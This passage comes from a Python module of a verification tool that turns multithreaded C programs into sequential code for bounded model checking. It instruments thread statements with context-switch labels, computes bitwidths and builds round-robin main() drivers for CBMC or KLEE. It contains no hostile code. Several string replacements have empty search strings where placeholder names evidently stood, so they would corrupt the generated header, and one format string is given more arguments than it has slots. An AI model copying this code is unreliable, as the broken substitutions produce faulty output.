self.addInputParam('guess-cs-only', 'context switch is guessed only', '', default=False, optional=True)\n self.addInputParam('norobin', 'use new schedule', '', default=False, optional=True)\n self.addInputParam('preanalysis', 'use preanalysis input from abstract interpretation backend', 'u', default=None, optional=True)\n\n self.addInputParam('donotcheckvisiblepointer', 'do not check pointer for visible statement', '', default=False, optional=True)\n\n self.addOutputParam('bitwidth')\n self.addOutputParam('header')\n\n\n def loadfromstring(self, string, env):\n if self.getInputParamValue('deadlock') is not None:\n self._deadlockcheck = True\n\n threads = int(self.getInputParamValue('threads'))\n rounds = int(self.getInputParamValue('rounds'))\n backend = self.getInputParamValue('backend')\n\n if self.getInputParamValue(\"preanalysis\") is not None:\n self.__preanalysis = self.getInputParamValue(\"preanalysis\")\n if env.debug:\n seqfile = core.utils.rreplace(env.inputfile, '/', '/_cs_', 1) if '/' in env.inputfile else '_cs_' + env.inputfile\n if env.outputfile is not None and env.outputfile != '':\n seqfile = env.outputfile\n logfile = seqfile + '.framac.log.extract'\n with open(logfile, \"w\") as logfile:\n logfile.write(str(self.__preanalysis))\n\n if self.getInputParamValue('decomposepc') is not None:\n self.__decomposepc = True\n\n if self.getInputParamValue('onepccs') is not None:\n self.__one_pc_cs = True\n\n if self.__decomposepc and self.__one_pc_cs:\n self.error(\"Cannot select to option decomposepc and onepccs at the same time\\n\")\n\n if self.getInputParamValue('norobin') is not None:\n self.__roundrobin = False\n\n if self.getInputParamValue('robin') is not None:\n self.__roundrobin = True\n\n if self.getInputParamValue('donotcheckvisiblepointer') is not None:\n self.__donotcheckpointer = True\n\n if self.getInputParamValue('guess-cs-only') is not None:\n self.__guess_cs_only = True\n\n self.__threadbound = threads\n\n super(self.__class__, self).loadfromstring(string, env)\n\n if backend == 'cbmc' or backend is None:\n self.__extra_nondet = ''\n\n if backend == 'klee': # specific main for klee\n # Only use round robin style for klee\n if self.__decomposepc:\n self.output += self.__createMainKLEERoundRobinDecomposePC(rounds)\n elif self.__one_pc_cs:\n self.output += self.__createMainKLEERoundRobinOnePCCS(rounds)\n else:\n self.output += self.__createMainKLEERoundRobin(rounds)\n else:\n # Add the new main().\n if self.__roundrobin:\n if self.__decomposepc:\n self.output += self.__createMainRoundRobinDecomposePC(rounds)\n elif self.__one_pc_cs:\n self.output += self.__createMainRoundRobinOnePCCS(rounds)\n else:\n self.output += self.__createMainRoundRobin(rounds)\n else:\n if self.__decomposepc:\n self.output += self.__createMainDecomposePC(rounds)\n elif self.__one_pc_cs:\n self.output += self.__createMainOnePCCS(rounds)\n else:\n self.output += self.__createMain(rounds)\n\n # Insert the thread sizes (i.e. number of visible statements).\n lines = ''\n\n i = maxsize = 0\n\n for t in self.__threadName:\n if i <= self.__threadbound:\n if i>0: lines += ', '\n lines += str(self.__lines[t])\n maxsize = max(int(maxsize), int(self.__lines[t]))\n #print \"CONFRONTO %s %s \" % (int(maxsize), int(self.__lines[t]))\n i +=1\n\n ones = ''\n if i <= self.__threadbound:\n if i>0: ones += ', '\n ones += '-1'\n i +=1\n\n # Generate the header.\n #\n # the first part is not parsable (contains macros)\n # so it is passed to next module as a header...\n #print(dir_path)\n if self.__decomposepc:\n header = core.utils.printFile(self.__dir_path+'/lazyseqAdecomposepc.c')\n elif self.__one_pc_cs:\n header = core.utils.printFile(self.__dir_path+'/lazyseqAonepccs.c')\n else:\n header = core.utils.printFile(self.__dir_path+'/lazyseqA.c')\n header = header.replace('',str(threads))\n header = header.replace('',str(rounds))\n self.setOutputParam('header', header)\n\n i = 0\n pc_decls = ''\n pc_cs_decls = ''\n join_replace = ''\n for t in self.__threadName:\n if i <= self.__threadbound:\n threadsize = self.__lines[t]\n k = int(math.floor(math.log(threadsize,2)))+1\n pc_decls += 'unsigned int __cs_pc_%s;\\n' % i\n self._bitwidth['','__cs_pc_%s' % i] = k\n pc_cs_decls += 'unsigned int __cs_pc_cs_%s;\\n' % i\n self._bitwidth['','__cs_pc_cs_%s' % i] = k + 1\n join_replace += 'if (__cs_id == %s) __CSEQ_assume(__cs_pc_%s == __cs_thread_lines[%s]);\\n' % (i, i, i)\n i += 1\n join_replace += 'if (__cs_id >= %s) __CSEQ_assume(0);\\n' % (i)\n\n # ..this is parsable and is added on top of the output code,\n # as next module is able to parse it.\n if not self._deadlockcheck:\n if self.__decomposepc:\n header = core.utils.printFile(self.__dir_path+'/lazyseqBnewscheduledecomposepc.c').replace('',lines)\n header = header.replace('', pc_decls + pc_cs_decls)\n header = header.replace('', join_replace)\n header = header.replace('', str(threads+1))\n elif self.__one_pc_cs:\n header = core.utils.printFile(self.__dir_path+'/lazyseqBnewscheduleonepccs.c').replace('',lines)\n header = header.replace('', str(threads+1))\n else:\n header = core.utils.printFile(self.__dir_path+'/lazyseqBnewschedule.c').replace('',lines)\n header = header.replace('', str(threads+1))\n else:\n header = core.utils.printFile(self.__dir_path+'/lazyseqBdeadlock.c').replace('',lines)\n header = header.replace('', ones)\n\n self.insertheader(header)\n\n # Calculate exact bitwidth size for a few integer control variables of the seq. schema,\n # good in case the backend handles bitvectors.\n self._bitwidth['','__cs_active_thread'] = 1\n k = int(math.floor(math.log(maxsize,2)))+1\n if self.__decomposepc is False:\n self._bitwidth['','__cs_pc'] = k\n self._bitwidth['','__cs_pc_cs'] = k+1\n\n self._bitwidth['','__cs_thread_lines'] = k\n\n k = int(math.floor(math.log(self.__threadbound,2)))+1\n self._bitwidth['','__cs_last_thread'] = k\n self._bitwidth[core.common.changeID['pthread_mutex_lock'],'__cs_thread_index'] = k\n self._bitwidth[core.common.changeID['pthread_mutex_unlock'],'__cs_thread_index'] = k\n\n # self.setOutputParam('__cs_bitwidth', self._bitwidth)\n\n # Fix gotos by inserting ASS_GOTO(..) blocks before each goto,\n # excluding gotos which destination is the line below.\n for (a,b) in self.__labelLine:\n if (a,b) in self.__gotoLine and (self.__labelLine[a,b] == self.__gotoLine[a,b]+1):\n self.output = self.output.replace('<%s,%s>' % (a,b), '')\n else:\n self.output = self.output.replace('<%s,%s>' % (a,b), 'ASS_GOTO(%s)' % self.__labelLine[a,b])\n\n self.setOutputParam('bitwidth', self._bitwidth)\n\n def visit_Decl(self,n,no_type=False):\n # no_type is used when a Decl is part of a DeclList, where the type is\n # explicitly only for the first declaration in a list.\n #\n s = n.name if no_type else self._generate_decl(n)\n\n if 'scalar' in self.__preanalysis and n.name in self.__preanalysis['scalar']:\n self._bitwidth[self.__currentThread, n.name] = self.__preanalysis['scalar'][n.name]\n\n if 'pointer' in self.__preanalysis and n.name in self.__preanalysis['pointer']:\n self._bitwidth[self.__currentThread, n.name] = self.__preanalysis['pointer'][n.name]\n\n if 'array' in self.__preanalysis and n.name in self.__preanalysis['array']:\n self._bitwidth[self.__currentThread, n.name] = self.__preanalysis['array'][n.name]\n\n if (self.__visiting_struct and\n 'struct' in self.__preanalysis and\n self.__struct_stack[-1] in self.__preanalysis['struct'] and\n n.name in self.__preanalysis['struct'][self.__struct_stack[-1]]\n ):\n # TODO: remember that for a field in struct, only multiple of 8bits is acceptable\n numbit = self.__preanalysis['struct'][self.__struct_stack[-1]][n.name]\n self._bitwidth[self.__struct_stack[-1], n.name] = numbit\n\n if n.bitsize: s += ' : ' + self.visit(n.bitsize)\n if n.init:\n s += ' = ' + self._visit_expr(n.init)\n return s\n\n def _generate_struct_union(self, n, name):\n \"\"\" Generates code for structs and unions. name should be either\n 'struct' or union.\n \"\"\"\n s = name + ' ' + (n.name or '')\n # There should be no anonymous struct, handling in workarounds module\n self.__visiting_struct = True\n if n.name:\n self.__struct_stack.append(n.name)\n if n.decls:\n s += '\\n'\n s += self._make_indent()\n self.indent_level += 2\n s += '{\\n'\n for decl in n.decls:\n s += self._generate_stmt(decl)\n self.indent_level -= 2\n s += self._make_indent() + '}'\n self.__visiting_struct = False\n self.__struct_stack.pop()\n return s\n\n\n def visit_Compound(self, n):\n s = self._make_indent() + '{\\n'\n self.indent_level += 1\n\n # Insert the labels at the beginning of each statement,\n # with a few exclusions to reduce context-switch points...\n #\n if n.block_items:\n for stmt in n.block_items:\n # Case 1: last statement in a thread (must correspond to last label)\n if type(stmt) == pycparser.c_ast.FuncCall and stmt.name.name == core.common.changeID['pthread_exit']: ##if type(stmt) == pycparser.c_ast.FuncCall and self._parenthesize_unless_simple(stmt.name) == core.common.changeID['pthread_exit']:\n self.__stmtCount += 1\n self.__maxInCompound = self.__stmtCount\n stamp = '__CSEQ_rawline(\"%s%s_%s: \");\\n' % (self.__startChar, self.__currentThread, str(self.__stmtCount))\n code = self.visit(stmt)\n newStmt = stamp + code + ';\\n'\n s += newStmt\n # Case 2: labels\n elif (type(stmt) in (pycparser.c_ast.Label,)):\n # --1-- Simulate a visit to the stmt block to see whether it makes any use of pointers or shared memory.\n #\n globalAccess = self.__globalAccess(stmt)\n newStmt = ''\n # --2-- Now rebuilds the stmt block again,\n # this time using the proper formatting\n # (now we know if the statement is accessing global memory,\n # so to insert the stamp at the beginning when needed)\n #\n if not self.__atomic and self.__stmtCount == -1: # first statement in a thread\n self.__stmtCount += 1\n self.__maxInCompound = self.__stmtCount\n threadIndex = self.Parser.threadIndex[self.__currentThread] if self.__currentThread in self.Parser.threadIndex else 0\n stamp = '__CSEQ_rawline(\"IF(%s,%s,%s%s_%s)\");\\n' % (threadIndex,str(self.__stmtCount), self.__startChar, self.__currentThread, str(self.__stmtCount+1))\n code = self.visit(stmt.stmt)\n newStmt = stamp + code + ';\\n'\n elif (not self.__visit_funcReference and (\n (type(stmt) == pycparser.c_ast.FuncCall and stmt.name.name == '__CSEQ_atomic_begin') or\n (not self.__atomic and\n (globalAccess or\n (type(stmt) == pycparser.c_ast.FuncCall and stmt.name.name == core.common.changeID['pthread_create']) or\n (type(stmt) == pycparser.c_ast.FuncCall and stmt.name.name == core.common.changeID['pthread_join']) or\n (type(stmt) == pycparser.c_ast.FuncCall and stmt.name.name.startswith('__CSEQ_atomic') and not stmt.name.name == '__CSEQ_atomic_end') or\n (type(stmt) == pycparser.c_ast.FuncCall and stmt.name.name.startswith('__CSEQ_assume')) or\n (type(stmt) == pycparser.c_ast.FuncCall and stmt.name.name == '__cs_cond_wait_2')\n )\n )\n )):\n self.__stmtCount += 1\n self.__maxInCompound = self.__stmtCount\n threadIndex = self.Parser.threadIndex[self.__currentThread] if self.__currentThread in self.Parser.threadIndex else 0\n stamp = '__CSEQ_rawline(\"%s%s_%s: IF(%s,%s,%s%s_%s)\");\\n' % (self.__startChar, self.__currentThread, str(self.__stmtCount),threadIndex,str(self.__stmtCount), self.__startChar, self.__currentThread, str(self.__stmtCount+1))\n newStmt = stamp + self.visit(stmt.stmt) + ';\\n'\n else:\n newStmt = self.visit(stmt.stmt) + ';\\n'\n\n # GUARD(%s,%s)\n guard = ''\n threadIndex = self.Parser.threadIndex[self.__currentThread] if self.__currentThread in self.Parser.threadIndex else 0\n if not self.__atomic:\n if self.__decomposepc:\n guard = '__CSEQ_assume( __cs_pc_cs_%s >= %s );\\n' % (threadIndex,self.__stmtCount+1)\n elif self.__one_pc_cs:\n guard = '__CSEQ_assume( __cs_pc_cs >= %s );\\n' % (self.__stmtCount+1)\n else:\n guard = '__CSEQ_assume( __cs_pc_cs[%s] >= %s );\\n' % (threadIndex,self.__stmtCount+1)\n\n newStmt = self._make_indent()+ stmt.name + ': ' + guard + newStmt+ '\\n'\n\n s += newStmt\n # Case 3: all the rest....\n elif (type(stmt) not in (pycparser.c_ast.Compound, pycparser.c_ast.Goto, pycparser.c_ast.Decl)\n and not (self.__currentThread=='main' and self.__firstThreadCreate == False) or (self.__currentThread=='main' and self.__stmtCount == -1)) :\n\n # --1-- Simulate a visit to the stmt block to see whether it makes any use of pointers or shared memory.\n #\n globalAccess = self.__globalAccess(stmt)\n newStmt = ''\n\n self.lines = [] # override core.module marking behaviour, otherwise module.visit() won't insert any marker\n\n # --2-- Now rebuilds the stmt block again,\n # this time using the proper formatting\n # (now we know if the statement is accessing global memory,\n # so to insert the stamp at the beginning when needed)\n #\n if not self.__atomic and self.__stmtCount == -1: # first statement in a thread\n self.__stmtCount += 1\n self.__maxInCompound = self.__stmtCount\n threadIndex = self.Parser.threadIndex[self.__currentThread] if self.__currentThread in self.Parser.threadIndex else 0\n stamp = '__CSEQ_rawline(\"IF(%s,%s,%s%s_%s)\");\\n' % (threadIndex,str(self.__stmtCount), self.__startChar, self.__currentThread, str(self.__stmtCount+1))\n code = self.visit(stmt)\n newStmt = stamp + code + ';\\n'\n elif (not self.__visit_funcReference and (\n (type(stmt) == pycparser.c_ast.FuncCall and stmt.name.name == '__CSEQ_atomic_begin') or\n (not self.__atomic and\n (globalAccess or\n (type(stmt) == pycparser.c_ast.FuncCall and stmt.name.name == core.common.changeID['pthread_create']) or\n (type(stmt) == pycparser.c_ast.FuncCall and stmt.name.name == core.common.changeID['pthread_join']) or\n (type(stmt) == pycparser.c_ast.FuncCall and stmt.name.name.startswith('__CSEQ_atomic') and not stmt.name.name == '__CSEQ_atomic_end') or\n (type(stmt) == pycparser.c_ast.FuncCall and stmt.name.name.startswith('__CSEQ_assume')) or\n (type(stmt) == pycparser.c_ast.FuncCall and stmt.name.name == '__cs_cond_wait_2')\n )\n )\n )):\n self.__stmtCount += 1\n self.__maxInCompound = self.__stmtCount\n threadIndex = self.Parser.threadIndex[self.__currentThread] if self.__currentThread in self.Parser.threadIndex else 0\n stamp = '__CSEQ_rawline(\"%s%s_%s: IF(%s,%s,%s%s_%s)\");\\n' % (self.__startChar, self.__currentThread, str(self.__stmtCount),threadIndex,str(self.__stmtCount), self.__startChar, self.__currentThread, str(self.__stmtCount+1))\n code = self.visit(stmt)\n newStmt = stamp + code + ';\\n'\n else:\n newStmt = self.visit(stmt) + \";\\n\"\n\n s += newStmt\n else:\n newStmt = self.visit(stmt) + \";\\n\"\n s += newStmt\n\n self.indent_level -= 1\n s += self._make_indent() + '}\\n'\n\n return s\n\n\n def visit_FuncDef(self, n):\n if (n.decl.name.startswith('__CSEQ_atomic_') or\n #n.decl.name.startswith(core.common.funcPrefixChange['__CSEQ_atomic']) or\n n.decl.name == '__CSEQ_assert' or\n n.decl.name in self.Parser.funcReferenced ): # <--- functions called through pointers are not inlined yet\n # return self.Parser.funcBlock[n.decl.name]\n self.__currentThread = n.decl.name\n self.__visit_funcReference = True\n #ret = self.otherparser.visit(n)\n oldatomic = self.__atomic\n self.__atomic = True\n decl = self.visit(n.decl)\n body = self.visit(n.body)\n self.__atomic = oldatomic\n s = decl + '\\n' + body + '\\n'\n self.__currentThread = ''\n self.__visit_funcReference = False\n return s\n\n self.__first = False\n self.__currentThread = n.decl.name\n self.__firstThreadCreate = False\n\n decl = self.visit(n.decl)\n self.indent_level = 0\n body = self.visit(n.body)\n\n f = ''\n\n self.__lines[self.__currentThread] = self.__stmtCount\n ###print \"THREAD %s, LINES %s \\n\\n\" % (self.__currentThread, self.__lines)\n\n #\n if n.param_decls:\n knrdecls = ';\\n'.join(self.visit(p) for p in n.param_decls)\n self.__stmtCount = -1\n #body = body[:body.rfind('}')] + self._make_indent() + returnStmt + '\\n}'\n f = decl + '\\n' + knrdecls + ';\\n'\n else:\n self.__stmtCount = -1\n #body = body[:body.rfind('}')] + self._make_indent() + returnStmt + '\\n}'\n f = decl + '\\n'\n\n # Remove arguments (if any) for main() and transform them into local variables in main_thread.\n # TODO re-implement seriously.\n if self.__currentThread == 'main':\n f = '%s main_thread(void)\\n' % self.Parser.funcBlockOut[\n self.__currentThread]\n main_args = self.Parser.funcBlockIn['main']\n args = ''\n if main_args.find('void') != -1 or main_args == '':\n main_args = ''\n else:\n main_args = re.sub(r'\\*(.*)\\[\\]', r'** \\1', main_args)\n main_args = re.sub(r'(.*)\\[\\]\\[\\]', r'** \\1', main_args)\n # split argument\n main_args = main_args.split(',')\n if len(main_args) != 2:\n self.warn('main function may have been defined incorrectly, %s' % main_args)\n # args = 'static ' + main_args[0] + '= %s; ' % self.__argc\n # args = 'static ' + main_args[0] + '; ' # Disable this for SVCOMP\n args = main_args[0] + '; '\n # argv = self.__argv.split(' ')\n # argv = '{' + ','.join(['\\\"%s\\\"' % v for v in argv]) + '}'\n # args += 'static ' + main_args[1] + '= %s;' % argv\n # args += 'static ' + main_args[1] + ';' # Disable this for SVCOMP\n args += main_args[1] + ';'\n body = '{' + args + body[body.find('{') + 1:]\n\n f += body + '\\n'\n\n self.__currentThread = ''\n\n return f + '\\n\\n'\n\n\n def visit_If(self, n):\n ifStart = self.__maxInCompound # label where the if stmt begins\n\n s = 'if ('\n\n if n.cond:\n condition = self.visit(n.cond)\n s += condition\n\n s += ')\\n'\n s += self._generate_stmt(n.iftrue, add_indent=True)\n\n ifEnd = self.__maxInCompound # label for the last stmt in the if block: if () { block; }\n nextLabelID = ifEnd+1\n\n if n.iffalse:\n elseBlock = self._generate_stmt(n.iffalse, add_indent=True)\n\n elseEnd = self.__maxInCompound # label for the last stmt in the if_false block if () {...} else { block; }\n\n if ifStart < ifEnd:\n threadIndex = self.Parser.threadIndex[self.__currentThread] if self.__currentThread in self.Parser.threadIndex else 0\n # GUARD(%s,%s)\n if not self.__visit_funcReference:\n if self.__decomposepc:\n elseHeader = '__CSEQ_assume( __cs_pc_cs_%s >= %s );' % (threadIndex, str(ifEnd+1))\n elif self.__one_pc_cs:\n elseHeader = '__CSEQ_assume( __cs_pc_cs >= %s );' % (str(ifEnd+1))\n else:\n elseHeader = '__CSEQ_assume( __cs_pc_cs[%s] >= %s );' % (threadIndex, str(ifEnd+1))\n else:\n elseHeader = ''\n\n nextLabelID = elseEnd+1\n s += self._make_indent() + 'else\\n'\n\n elseBlock = elseBlock.replace('{', '{ '+elseHeader, 1)\n s += elseBlock\n\n header = ''\n\n if ifStart+1 < nextLabelID:\n threadIndex = self.Parser.threadIndex[self.__currentThread] if self.__currentThread in self.Parser.threadIndex else 0\n # GUARD(%s,%s)\n if not self.__visit_funcReference:\n if self.__decomposepc:\n footer = '__CSEQ_assume( __cs_pc_cs_%s >= %s );' % (threadIndex, nextLabelID)\n elif self.__one_pc_cs:\n footer = '__CSEQ_assume( __cs_pc_cs >= %s );' % (nextLabelID)\n else:\n footer = '__CSEQ_assume( __cs_pc_cs[%s] >= %s );' % (threadIndex, nextLabelID)\n else:\n footer = ''\n\n '''\n if n.iffalse:\n header = 'ASS_ELSE(%s, %s, %s)' % (condition, ifEnd+1, elseEnd+1) + '\\n' + self._make_indent()\n else:\n if ifEnd > ifStart:\n header = 'ASS_THEN(%s, %s)' % (condition, ifEnd+1) + '\\n' + self._make_indent()\n else: header = ''\n '''\n\n return header + s + self._make_indent() + footer\n\n\n def visit_Return(self, n):\n if self.__currentThread != '__CSEQ_assert' and self.__currentThread not in self.Parser.funcReferenced and not self.__atomic:\n self.error(\"error: %s: return statement in thread '%s'.\\n\" % (self.getname(), self.__currentThread))\n\n s = 'return'\n if n.expr: s += ' ' + self.visit(n.expr)\n return s + ';'\n\n\n def visit_Label(self, n):\n self.__labelLine[self.__currentThread, n.name] = self.__stmtCount\n return n.name + ':\\n' + self._generate_stmt(n.stmt)\n\n\n def visit_Goto(self, n):\n self.__gotoLine[self.__currentThread, n.name] = self.__stmtCount\n extra = '<%s,%s>\\n' % (self.__currentThread, n.name) + self._make_indent()\n extra = ''\n return extra + 'goto ' + n.name + ';'\n\n def visit_ArrayRef(self, n):\n arrref = self._parenthesize_unless_simple(n.name)\n subscript = self.visit(n.subscript)\n threadIndex = self.Parser.threadIndex[self.__currentThread] if self.__currentThread in self.Parser.threadIndex else 0\n if subscript == '__cs_thread_index' and self.__currentThread != '':\n subscript = '%s' % threadIndex\n s = arrref + '[' + subscript + ']'\n return s\n\n def visit_ID(self, n):\n # If this ID corresponds either to a global variable,\n # or to a pointer...\n #\n if ((self.__isGlobal(self.__currentThread, n.name) or self.__isPointer(self.__currentThread, n.name)) and not\n n.name.startswith('__cs_thread_local_')):\n #print \"variable %s in %s is global\\n\" % (n.name, self.__currentThread)\n self.__globalMemoryAccessed = True\n\n # Rename the IDs of main() arguments\n #if self.__currentThread == 'main' and n.name in self.Parser.varNames['main'] and self.Parser.varKind['main',n.name] == 'p':\n # return '__main_params_' + n.name\n\n return n.name\n\n\n def visit_FuncCall(self, n):\n fref = self._parenthesize_unless_simple(n.name)\n args = self.visit(n.args)\n\n if fref == '__CSEQ_atomic_begin':\n if not self.__visit_funcReference:\n self.__atomic = True\n return ''\n elif fref == '__CSEQ_atomic_end':\n if not self.__visit_funcReference:\n self.__atomic = False\n return ''\n elif fref.startswith('__CSEQ_atomic_'): self.__globalMemoryAccessed = True\n elif fref == core.common.changeID['pthread_cond_wait']:\n self.error('pthread_cond_wait in input code (use conditional wait converter module first)')\n\n\n # When a thread is created, extract its function name\n # based on the 3rd parameter in the pthread_create() call:\n #\n # pthread_create(&id, NULL, f, &arg);\n # ^^^\n #\n if fref == core.common.changeID['pthread_create']: # TODO re-write AST-based (see other modules)\n fName = args[:args.rfind(',')]\n fName = fName[fName.rfind(',')+2:]\n fName = fName.replace('&', '')\n\n ##print \"checking fName = %s\\n\\n\" % fName\n\n if fName not in self.__threadName:\n self.__threadName.append(fName)\n self.__threadCount = self.__threadCount + 1\n\n args = args + ', %s' % (self.__threadCount)\n self.__threadIndex[fName] = self.__threadCount\n else:\n # when visiting from the 2nd time on (if it happens),\n # reuse the old thread indexS!\n args = args + ', %s' % (self.__threadIndex[fName])\n\n self.__firstThreadCreate = True\n\n if fref == core.common.changeID['pthread_exit']:\n threadIndex = self.Parser.threadIndex[self.__currentThread] if self.__currentThread in self.Parser.threadIndex else 0\n return fref + '(' + args + ', %s)' % threadIndex\n\n '''\n Avoid using pointers to handle mutexes\n by changing the function calls,\n there are two cases:\n\n pthread_mutex_lock(&l) -> __cs_mutex_lock(l)\n pthread_mutex_lock(ptr) -> __cs_mutex_lock(*ptr)\n\n TODO:\n this needs proper implementation,\n one should check that the argument is not referenced\n elsewhere (otherwise this optimisation will not work)\n '''\n\n # Optimization for removing __cs_thread_index variable from global scope\n if ((fref == core.common.changeID['pthread_mutex_lock'] ) or (fref == core.common.changeID['pthread_mutex_unlock']) or\n fref.startswith('__cs_cond_wait_')):\n threadIndex = self.Parser.threadIndex[self.__currentThread] if self.__currentThread in self.Parser.threadIndex else 0\n return fref + '(' + args + ', %s)' % threadIndex\n\n return fref + '(' + args + ')'\n\n ########################################################################################\n ########################################################################################\n ########################################################################################\n ########################################################################################\n ########################################################################################\n ########################################################################################\n\n def __createMainRoundRobinDecomposePC(self, ROUNDS):\n ''' New main driver:\n '''\n main = ''\n main += \"int main(void) {\\n\"\n\n ''' Part I:\n Pre-guessed jump lengths have a size in bits depending on the size of the thread.\n '''\n for r in range(0, ROUNDS):\n for t in range(0,self.__threadbound+1):\n threadsize = self.__lines[self.__threadName[t]]\n k = int(math.floor(math.log(threadsize,2)))+1\n self._bitwidth['main','__cs_tmp_t%s_r%s' % (t,r)] = k\n\n ''' First round (round 0)\n '''\n round = 0\n # Main thread\n main +=\"__CSEQ_rawline(\\\"/* round %s */\\\");\\n\" % round\n main +=\"__CSEQ_rawline(\\\" /* main */\\\");\\n\"\n main +=\" unsigned int __cs_tmp_t0_r0 %s;\\n\" % self.__extra_nondet\n main +=\" __CSEQ_assume(__cs_tmp_t0_r0 > 0);\\n\"\n main +=\" __cs_pc_cs_0 = __cs_tmp_t0_r0;\\n\"\n main +=\" __CSEQ_assume(__cs_pc_cs_0 <= %s);\\n\" % (self.__lines['main'])\n main +=\" main_thread();\\n\"\n main +=\" __cs_pc_0 = __cs_pc_cs_0;\\n\"\n main +=\"\\n\"\n # Other threads\n i = 1\n for t in self.__threadName:\n if t == 'main': continue\n if i <= self.__threadbound:\n main +=\"__CSEQ_rawline(\\\" /* %s */\\\");\\n\" % t\n main +=\" unsigned int __cs_tmp_t%s_r0 %s;\\n\" % (i, self.__extra_nondet)\n main +=\" if (__cs_active_thread[%s]) {\\n\" % (i)\n main +=\" __cs_pc_cs_%s = __cs_tmp_t%s_r0;\\n\" % (i, i)\n main +=\" __CSEQ_assume(__cs_pc_cs_%s <= %s);\\n\" % (i, self.__lines[t])\n main +=\" %s(__cs_threadargs[%s]);\\n\" % (t, i)\n main +=\" __cs_pc_%s = __cs_pc_cs_%s;\\n\" % (i, i)\n main +=\" }\\n\\n\"\n i += 1\n\n ''' Other rounds\n '''\n for round in range(1, ROUNDS):\n main +=\"__CSEQ_rawline(\\\"/* round %s */\\\");\\n\" % round\n # For main thread\n main +=\"__CSEQ_rawline(\\\" /* main */\\\");\\n\"\n main +=\" unsigned int __cs_tmp_t0_r%s %s;\\n\" % (round, self.__extra_nondet)\n main +=\" if (__cs_active_thread[0]) {\\n\"\n if self.__guess_cs_only:\n main +=\" __cs_pc_cs_0 = __cs_tmp_t0_r%s;\\n\" % (round)\n else:\n main +=\" __cs_pc_cs_0 = __cs_pc_0 + __cs_tmp_t0_r%s;\\n\" % (round)\n main +=\" __CSEQ_assume(__cs_pc_cs_0 >= __cs_pc_0);\\n\"\n main +=\" __CSEQ_assume(__cs_pc_cs_0 <= %s);\\n\" % (self.__lines['main'])\n main +=\" main_thread();\\n\"\n main +=\" __cs_pc_0 = __cs_pc_cs_0;\\n\"\n main +=\" }\\n\\n\"\n main +=\"\\n\"\n # For other threads\n i = 1\n for t in self.__threadName:\n if t == 'main': continue\n if i <= self.__threadbound:\n main +=\"__CSEQ_rawline(\\\" /* %s */\\\");\\n\" % t\n main +=\" unsigned int __cs_tmp_t%s_r%s %s;\\n\" % (i, round, self.__extra_nondet)\n main +=\" if (__cs_active_thread[%s]) {\\n\" % (i)\n if self.__guess_cs_only:\n main +=\" __cs_pc_cs_%s = __cs_tmp_t%s_r%s;\\n\" % (i, i, round)\n else:\n main +=\" __cs_pc_cs_%s = __cs_pc_%s + __cs_tmp_t%s_r%s;\\n\" % (i, i, i, round)\n main +=\" __CSEQ_assume(__cs_pc_cs_%s >= __cs_pc_%s);\\n\" % (i, i)\n main +=\" __CSEQ_assume(__cs_pc_cs_%s <= %s);\\n\" % (i, self.__lines[t])\n main +=\" %s(__cs_threadargs[%s]);\\n\" % (t, i)\n main +=\" __cs_pc_%s = __cs_pc_cs_%s;\\n\" % (i, i)\n main +=\" }\\n\\n\"\n i += 1\n\n\n ''' Last called to main\n '''\n\n # For the last call to main thread\n k = int(math.floor(math.log(self.__lines['main'],2)))+1\n main += \" unsigned int __cs_tmp_t0_r%s %s;\\n\" % (ROUNDS, self.__extra_nondet)\n self._bitwidth['main','__cs_tmp_t0_r%s' % (ROUNDS)] = k\n main +=\" if (__cs_active_thread[0] == 1) {\\n\"\n if self.__guess_cs_only:\n main +=\" __cs_pc_cs_0 = __cs_tmp_t0_r%s;\\n\" % (ROUNDS)\n else:\n main +=\" __cs_pc_cs_0 = __cs_pc_0 + __cs_tmp_t0_r%s;\\n\" % (ROUNDS)\n main +=\" __CSEQ_assume(__cs_pc_cs_0 >= __cs_pc_0);\\n\"\n main +=\" __CSEQ_assume(__cs_pc_cs_0 <= %s);\\n\" % (self.__lines['main'])\n main +=\" main_thread();\\n\"\n main +=\" }\\n\"\n main += \" return 0;\\n\"\n main += \"}\\n\\n\"\n\n return main\n\n def __createMainRoundRobinOnePCCS(self, ROUNDS):\n ''' New main driver:\n '''\n main = ''\n main += \"int main(void) {\\n\"\n\n ''' Part I:\n Pre-guessed jump lengths have a size in bits depending on the size of the thread.\n '''\n\n maxsize = 0\n for t in self.__lines:\n maxsize = max(maxsize, int(self.__lines[t]))\n k = int(math.floor(math.log(maxsize,2)))+1\n\n for r in range(0, ROUNDS):\n for t in range(0,self.__threadbound+1):\n # threadsize = self.__lines[self.__threadName[t]]\n # k = int(math.floor(math.log(threadsize,2)))+1\n self._bitwidth['main','__cs_tmp_t%s_r%s' % (t,r)] = k\n\n ''' First round (round 0)\n '''\n round = 0\n # Main thread\n main +=\"__CSEQ_rawline(\\\"/* round %s */\\\");\\n\" % round\n main +=\"__CSEQ_rawline(\\\" /* main */\\\");\\n\"\n main +=\" unsigned int __cs_tmp_t0_r0;\\n\"\n main +=\" __CSEQ_assume(__cs_tmp_t0_r0 > 0);\\n\"\n main +=\" __cs_pc_cs = __cs_tmp_t0_r0;\\n\"\n main +=\" __CSEQ_assume(__cs_pc_cs <= %s);\\n\" % (self.__lines['main'])\n main +=\" main_thread();\\n\"\n main +=\" __cs_pc[0] = __cs_pc_cs;\\n\"\n main +=\"\\n\"\n # Other threads\n i = 1\n for t in self.__threadName:\n if t == 'main': continue\n if i <= self.__threadbound:\n main +=\"__CSEQ_rawline(\\\" /* %s */\\\");\\n\" % t\n main +=\" unsigned int __cs_tmp_t%s_r0;\\n\" % (i)\n main +=\" if (__cs_active_thread[%s]) {\\n\" % (i)\n main +=\" __cs_pc_cs = __cs_tmp_t%s_r0;\\n\" % (i)\n main +=\" __CSEQ_assume(__cs_pc_cs <= %s);\\n\" % (i, self.__lines[t])\n main +=\" %s(__cs_threadargs[%s]);\\n\" % (t, i)\n main +=\" __cs_pc[%s] = __cs_pc_cs;\\n\" % (i)\n main +=\" }\\n\\n\"\n i += 1\n\n ''' Other rounds\n '''\n for round in range(1, ROUNDS):\n main +=\"__CSEQ_rawline(\\\"/* round %s */\\\");\\n\" % round\n # For main thread\n main +=\"__CSEQ_rawline(\\\" /* main */\\\");\\n\"\n main +=\" unsigned int __cs_tmp_t0_r%s;\\n\" % (round)\n main +=\" if (__cs_active_thread[0]) {\\n\"\n if self.__guess_cs_only:\n main +=\" __cs_pc_cs = __cs_tmp_t0_r%s;\\n\" % (round)\n else:\n main +=\" __cs_pc_cs = __cs_pc[0] + __cs_tmp_t0_r%s;\\n\" % (round)\n main +=\" __CSEQ_assume(__cs_pc_cs >= __cs_pc[0]);\\n\"\n main +=\" 